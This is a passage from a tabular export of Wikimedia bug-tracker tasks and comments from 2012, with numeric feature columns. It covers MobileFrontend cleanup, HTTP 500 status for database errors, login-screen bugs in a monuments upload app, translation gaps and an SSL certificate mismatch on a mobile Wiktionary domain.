**Severity**: normal",Needs Triage,90.0,1347486000,1347558333.0,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-qyb6kntst2hka23ccvi2,task_description,resolved,True,c2,1,True,False,True,-50,True,1.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,4.0,0.0,16.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,3.0,9.0,0.0,6.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,4.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,4.434782608695652,0.7246376811594203,"There are some hacks that check HTTP_APPLICATION_VERSION and hide the header or logo depending on settings that came from our old iPhone and Android apps that did screen scraping.

These old apps are dead and we should remove the special-cases, which had caching issues anyway.

--------------------------
**Version**: unspecified
**Severity**: normal"
185754,MobileFrontend: remove old hacks for HTTP_APPLICATION_VERSION,This appears to have been resolved with https://gerrit.wikimedia.org/r/#/c/23600/,,,1347558333,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-qyb6kntst2hka23ccvi2,task_subcomment,,True,c2,1,False,,,-50,True,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,This appears to have been resolved with URL
41460,Database errors return HTTP 200 OK,"**Author:** `lowzl`

**Description:**
Patch against 1.19.1

If a DBError is thrown – such as when MySQL is returning the ""too many connections"" error – MediaWiki returns an error page with the HTTP 200 OK status code. This is quite troublesome, since automatic polling by Varnish only checks the status code of the returned page to determine whether the backend is healthy or not. 

I have attached a simple patch to work around this problem. I notice I have to use the PHP header function directly instead of going via $wgOut – I suppose that's because the error page is being output raw instead of through OutputPage.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F9873}",Needs Triage,90.0,1345222140,1345223128.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-vfkjgjdn36wg2hqnuaex,task_description,resolved,True,c2,1,False,False,True,-54,True,0.5,0.0,0.0,0.5,0.5,5.0,1.0,0.5,0.0,0.5,2.0,0.0,0.0,0.5,0.0,2.5,0.0,5.0,9.5,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,7.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,11.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,5.5,3.5,12.5,2.5,0.5,7.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.5,9.5,5.5,0.0,1.0,0.0,2.5,0.0,0.5,1.5,0.0,1.0,0.0,0.0,0.0,3.9216616716616715,0.702963702963703,"**Author:** CODE

**Description:**
Patch against 1.19.1

If a DBError is thrown – such as when MySQL is returning the ""too many connections"" error – MediaWiki returns an error page with the HTTP 200 OK status code. This is quite troublesome, since automatic polling by Varnish only checks the status code of the returned page to determine whether the backend is healthy or not. 

I have attached a simple patch to work around this problem. I notice I have to use the PHP header function directly instead of going via $wgOut – I suppose that's because the error page is being output raw instead of through OutputPage.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F9873}"
191418,Database errors return HTTP 200 OK,"Thanks for the link, Krenair.",,,1345226961,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-vfkjgjdn36wg2hqnuaex,task_subcomment,,True,c2,1,False,,,-54,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,"Thanks for the link, Krenair."
191415,Database errors return HTTP 200 OK,Already done by Platonides in Gerrit change 9521,,,1345223128,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-vfkjgjdn36wg2hqnuaex,task_subcomment,,True,c2,1,True,,,-54,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.125,1.0,Already done by Platonides in Gerrit change 9521
191409,Database errors return HTTP 200 OK,"Looks fixed on master, I see ""HTTP/1.1 500 MediaWiki exception""",,,1345222439,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-vfkjgjdn36wg2hqnuaex,task_subcomment,,True,c2,1,False,,,-54,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,15.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.153846153846154,0.9230769230769231,"Looks fixed on master, I see ""HTTP/1.1 500 MediaWiki exception"""
41347,Cannot escape login screen,"Make sure you are logged on.
From welcome page click on uploads and get taken to login screen
Click back button
nothing happens

expected: should go back to welcome screen

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1344970860,1345503242.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-6z5wamdg5nhlcnf5ytpr,task_description,resolved,True,c2,1,False,False,True,-55,True,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.037037037037037,0.6481481481481481,"Make sure you are logged on.
From welcome page click on uploads and get taken to login screen
Click back button
nothing happens

expected: should go back to welcome screen

--------------------------
**Version**: unspecified
**Severity**: normal"
185217,Cannot escape login screen,Fixed in https://github.com/wikimedia/WLMMobile/pull/131,,,1345052016,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6z5wamdg5nhlcnf5ytpr,task_subcomment,,True,c2,1,False,,,-54,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Fixed in URL
41325,"""https services"" listed as unsupported at status.wikimedia.org","Currently an entry at <http://status.wikimedia.org/> reads ""https services (unsupported)"". I think the ""(unsupported)"" part is off-the-mark and should be removed. Maybe it could be changed to ""experimental"" or ""beta"" or something? I don't think any qualifier is needed, though.

I also considered that maybe it was referring to secure.wikimedia.org (which is pretty much unsupported), but I don't see any evidence of that.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: http://status.wikimedia.org/",Needs Triage,90.0,1344918840,1355931241.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-s7zbdnwrfyooz3km7gv7,task_description,resolved,True,c2,1,True,False,True,-55,True,2.0,0.5,0.0,1.5,1.5,4.5,0.5,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,2.5,0.0,6.5,4.0,0.5,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,4.0,2.5,1.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,8.0,1.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.5,3.5,7.5,1.0,2.5,4.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,4.0,4.0,1.0,0.5,4.0,0.0,4.0,0.0,1.0,0.5,0.0,1.0,0.5,0.0,0.5,3.590736411455289,0.6664231443600235,"Currently an entry at <URL reads ""https services (unsupported)"". I think the ""(unsupported)"" part is off-the-mark and should be removed. Maybe it could be changed to ""experimental"" or ""beta"" or something? I don't think any qualifier is needed, though.

I also considered that maybe it was referring to secure.wikimedia.org (which is pretty much unsupported), but I don't see any evidence of that.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
184209,"""https services"" listed as unsupported at status.wikimedia.org","Does not say (unsupported) anymore, closing as FIXED.",,,1355931241,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-s7zbdnwrfyooz3km7gv7,task_subcomment,,True,c2,1,True,,,-36,True,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.8333333333333335,1.0,"Does not say (unsupported) anymore, closing as FIXED."
41291,"""Username"", ""Password"" and ""Login"" are not translated","I use the app in Hebrew. After I press ""Uploads"", I get a login screen. The words ""Username"", ""Password"" and ""Login"" appear in English.

It looks like the words ""Username"" and ""Password"" are not even internationalized: they don't appear for translation in translatewiki.net.

The word ""Login"" does appear in translatewiki.net, and it's translated to Hebrew, but it still appears in English.

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1344799620,1344971192.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-yidboqrfbtl6ub2lhlep,task_description,resolved,True,c2,1,False,False,True,-55,True,0.0,0.0,0.0,0.0,1.5,2.5,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.5,0.0,3.0,6.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.5,0.0,0.0,3.5,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,12.5,0.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,6.5,5.5,0.0,8.0,0.0,5.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,3.769916142557652,0.6170510132774283,"I use the app in Hebrew. After I press ""Uploads"", I get a login screen. The words ""Username"", ""Password"" and ""Login"" appear in English.

It looks like the words ""Username"" and ""Password"" are not even internationalized: they don't appear for translation in translatewiki.net.

The word ""Login"" does appear in translatewiki.net, and it's translated to Hebrew, but it still appears in English.

--------------------------
**Version**: unspecified
**Severity**: major"
182372,"""Username"", ""Password"" and ""Login"" are not translated",Fixed in https://github.com/wikimedia/WLMMobile/pull/127,,,1344903855,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-yidboqrfbtl6ub2lhlep,task_subcomment,,True,c2,1,False,,,-55,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Fixed in URL
182367,"""Username"", ""Password"" and ""Login"" are not translated","https://gerrit.wikimedia.org/r/#/c/17016/ adds support for placeholder attribute. We should take advantage of it
Looking into this now",,,1344900078,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-yidboqrfbtl6ub2lhlep,task_subcomment,,True,c2,1,False,,,-55,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,17.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.555555555555555,1.0,"URL adds support for placeholder attribute. We should take advantage of it
Looking into this now"
40570,Page URLs are now returned as HTTPS,"Page URLs are at least in some cases returned as HTTPS, even if the call to the API uses HTTP. The URLs should be protocol-less if possible, only using the protocol if one of HTTP/HTTPS is not supported, and otherwise act as a network-path reference http://tools.ietf.org/html/rfc3986#section-4.2

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1342917180,1343904742.0,PHID-USER-vlni4mhyozor7ghqnfkl,False,,False,PHID-TASK-5h4djmjv5cggcx4tezlp,task_description,declined,True,c2,1,False,False,True,-58,True,1.0,0.0,0.0,1.0,1.0,5.0,1.0,0.0,0.0,4.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,16.0,4.0,1.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,12.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,3.7837837837837838,0.7162162162162162,"Page URLs are at least in some cases returned as HTTPS, even if the call to the API uses HTTP. The URLs should be protocol-less if possible, only using the protocol if one of HTTP/HTTPS is not supported, and otherwise act as a network-path reference URL

--------------------------
**Version**: unspecified
**Severity**: normal"
189185,Page URLs are now returned as HTTPS,"This works as it should now, but accessing the test site only works for http. 

http://wikidata-test-repo.wikimedia.de/w/api.php?action=wbgetitems&sites=enwiki&titles=Oxygen&props=sitelinks|sitelinks/urls

I suspect the previous failure was due to the urls read from the config.",,,1343917582,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-5h4djmjv5cggcx4tezlp,task_subcomment,,True,c2,1,False,,,-56,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,11.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,3.0,9.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6857142857142855,0.8285714285714286,"This works as it should now, but accessing the test site only works for http. 

URL

I suspect the previous failure was due to the urls read from the config."
189181,Page URLs are now returned as HTTPS,Cannot reproduce. Please check again.,,,1343904742,,PHID-USER-o4wy22wrannrbargenyn,False,,,PHID-TASK-5h4djmjv5cggcx4tezlp,task_subcomment,,True,c2,1,False,,,-56,True,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,0.875,Cannot reproduce. Please check again.
40434,SSL errors on secure non-wikipedia mobile sites,"https://en.m.wiktionary.org/ is giving me this error: ""You attempted to reach en.m.wiktionary.org, but instead you actually reached a server identifying itself as *.wikipedia.org."" followed by warnings of possible dangers.

--------------------------
**Version**: .5
**Severity**: normal",Needs Triage,90.0,1342494480,1342536842.0,PHID-USER-um3fhlwaza6ecwf67t77,False,,False,PHID-TASK-rr4iqsd6pmfjwrpfc2yw,task_description,resolved,True,c2,1,False,False,True,-59,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,8.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,8.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,8.0,8.0,0.0,4.0,0.0,8.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,4.39622641509434,0.7547169811320755,"URL is giving me this error: ""You attempted to reach en.m.wiktionary.org, but instead you actually reached a server identifying itself as *.wikipedia.org."" followed by warnings of possible dangers.

--------------------------
**Version**: .5
**Severity**: normal"
182052,SSL errors on secure non-wikipedia mobile sites,"Removing dependency on bug 27946 which is for secure.wikimedia.org

This is also a duplicate of  bug 36126 which was for the *.mobile.wikimedia.org domains and that I rephrased to take in account m.wiktionary.org.

*** This bug has been marked as a duplicate of bug 36126 ***",,,1342536842,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-rr4iqsd6pmfjwrpfc2yw,task_subcomment,,True,c2,1,True,,,-59,True,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,17.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,7.0,7.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,2.0,17.0,9.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,4.314814814814815,0.6666666666666666,"Removing dependency on bug 27946 which is for secure.wikimedia.org

This is also a duplicate of  bug 36126 which was for the *.mobile.wikimedia.org domains and that I rephrased to take in account m.wiktionary.org.

*** This bug has been marked as a duplicate of bug 36126 ***"
40270,User should be able to create a Commons account from login screen,"There is currently no way to create a Commons user account from within the app.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1341877080,1341944025.0,PHID-USER-jh2oguhshocanixqvlfk,False,,False,PHID-TASK-i2h6olm6tfhww3lga2b2,task_description,resolved,True,c2,1,False,False,True,-60,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.029411764705882,0.7352941176470589,"There is currently no way to create a Commons user account from within the app.

--------------------------
**Version**: unspecified
**Severity**: normal"
196501,User should be able to create a Commons account from login screen,Resolved in https://github.com/wikimedia/WLMMobile/pull/36,,,1341881494,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-i2h6olm6tfhww3lga2b2,task_subcomment,,True,c2,1,False,,,-60,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Resolved in URL
40251,"[Regression] ""returnto"" from Login broken when used from a page without 'title' parameter","When being logged out and using a link from Recentchanges like this:

http://commons.wikimedia.org/?diff=73980366&oldid=10204883&rcid=75133143

And then trying to log in, it will return to ""Main Page"".

--------------------------
**Version**: 1.19
**Severity**: major",Needs Triage,90.0,1341777180,1341777207.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-4yxpk2dzj5i44ge226gc,task_description,resolved,True,c2,1,True,False,True,-60,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,16.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,12.0,6.0,0.0,4.0,0.0,2.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,3.48,0.72,"When being logged out and using a link from Recentchanges like this:

URL

And then trying to log in, it will return to ""Main Page"".

--------------------------
**Version**: 1.19
**Severity**: major"
195521,"[Regression] ""returnto"" from Login broken when used from a page without 'title' parameter","

*** This bug has been marked as a duplicate of bug 36053 ***",,,1341777207,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4yxpk2dzj5i44ge226gc,task_subcomment,,True,c2,1,True,,,-60,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 36053 ***"
40220,Cannot click back icon on login screen,"Go to a monument page and click the upload button in the right hand corner. An upload form appears. Click back button in the top left corner and nothing happens.

--------------------------
**Version**: unspecified
